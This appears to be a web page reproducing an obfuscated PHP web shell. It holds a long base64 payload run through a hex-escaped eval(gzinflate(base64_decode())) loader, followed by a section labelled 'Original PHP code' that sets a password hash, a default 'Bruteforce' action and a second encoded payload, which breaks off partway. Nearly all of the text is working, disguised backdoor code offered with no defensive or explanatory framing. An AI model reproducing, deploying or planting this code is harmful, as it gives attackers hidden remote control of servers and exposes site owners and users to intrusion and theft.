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" ;eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?&gt;</pre></body></html>

Original PHP code

<?PHP
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#ddff55";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action='Bruteforce';
$o = "5b1rd9u4zij8uXut/R8UjaeyJ45jO2l3J47dS5q06SXp5NJr+nhkWbbVyJJHkpNmOvnvLwBeROriOG33ed6zTmdNa5EgCIIkSAIgWBm6I3vuJ/1z98roGtPhvWqlf7x79Hb36JP1/OTkTf8UvvqPn+0enFifa51//8sbGdUVL47dBCB3Dg9f7u9+Kij2/PAYCzRMQGx+rtWMb//+1513x4dQzgnDc8+t3lSoblQU4rDqa6y96k5nyRWUfAPAnyxnYkeAE0rVoIJcKrRJYuGJ2TawEoFrCSqhDj3PpizlC7B6ThhcVM15Mlp7gKRmK64bQ9eJrmYalvptONYpIsXRSHG+kxTnZ5Aya2m04Od3EYMFfwI1bZ2a9vdS0/4p1Gzo1Gx8LzUbt6cGZsloHjiJFwYpvjiJ6pXZ5bD2Df/uDuzYvb/ZdwMnHLpVyuggjMiAcpQBSZABYDB5oq5pst8IiL+9brNzOfF8APS2IdF3A1ak9m0URtXKF8ivfJE5rJYvq6tAhEAJ/1fDaEjFPlW8z7X/oS8A/VT5gu0RFTa6ogzUu7raAZZXvF5Xq3UQufZ55/o6cpN5FBiZtnBEtQ4w6N//euQFXh+7zHKjKIz6fji26genr14hC9NMSO4TQGzVm3rW1P7ad7+6zhw53U+8qStAIJu++7439ZJqmji1x57T/2seJm7cj+YBAvFsEFJe4FYtEJF96N7j/cMDq25Y7cY9C/NJ8i0vdo2GYdlf7K9MLBrw51aFYKxWB2Ho16TsnMduH/OIFCJmnG3PeOZUuQSV4w8FfhJ5s9i344kbVyt2FNlXDOgO7yYv7lOqzHxo0A/APiN+qBiAJwJsyyhCjdPxWq4E0JAcCZSBcCpbCgFZFp9TvNkAkoR+eOlG1Xg+gK/qm+dv+ofH9WZ9A1rf7RrmpReYtBiFMaC14NMCFK4fu2li4H21iJeV2B65/SmMUEimwTXGwSVTLbbmVldSQN6jbNxG7iyMEi8Ys3EECIdebA98ty86IdYQ53KpgsokhOHqXA4RFuDgV5VXXLD+QDMeOZOhF2nJiKYQAzWZM4J1vVodsBAb4duOWzXPzkAumusoHAUI9WhlMSwHY/sD/Pok5ALmrLU+GytQ/7pVE6ga9CkHM+wGBD9gSntxElfNWRh7X5Fns8u5NzRrxt27BvY+pFcrz14dPnn86vhTATtBilt6WavW7XZHNvQ/mx7YeXKG6KAg+QCETwwq0rk2rm8kcRyNv5tEKrsciQRaRqKy6lzG4e5XEM8B7+1wnuCYt9hSaVSzDbFQjFpcdtx5hF9Yuo4FqfsFikdfQi+Ang/MNO/awJlViHZmx3EyieYSdTiAFcCOkirD+kgAEK1qRQCI8s3xXTuo3lRNfBUn7rS0Epb9g1VMXN/va2ziaNIcWUOKB0Rr5MbhPIL5UhkhA2fhDKcFMNeMzFoGF6zp+MWW9JVHIzeE2TSi+c5hYN6MYJGFQTCqt5rtTdaimeOHMdYgpS8fHlhGSE91dLz13Mtj72/cYMgtdyU2el2j1fzPxn82Ww8AtbJExLPIC5JR1fq11WiPcA2IjXUF1qjB0mU8e0IjjDVe4tt8cO8/95dBRoAGrYLG60JUyxGF5BCSlykSpRhAYSbl5Rjzxo2mMZthfK7Ah3HXaH7daTabtLzwnxUPp1SskJnCPk5hH6ewfiHsgxT2QQq7Vgh7P4W9n8IOCmE3U9jNFHZYCNtOYdsprFMI20phWynsTMIaLGFOCfAbRqws22xh2YeGFVmwe4BG1oqAmg8Y0OVCoE0CShMecNQxlfpqGbhByWcfC6TFWNvL0Ndahr7mA52+zcX0bS5HX3NzCfqa7WXoa+n0tTkBSTF9IvtEo09MKa90Lu3AXi1CySQn1Mojkor2EBdFKd44Jmt7FAaJ4WCp7i97e0Bns2fBhJVz89EIhOOMTVMoi3N5ex0L9bThSr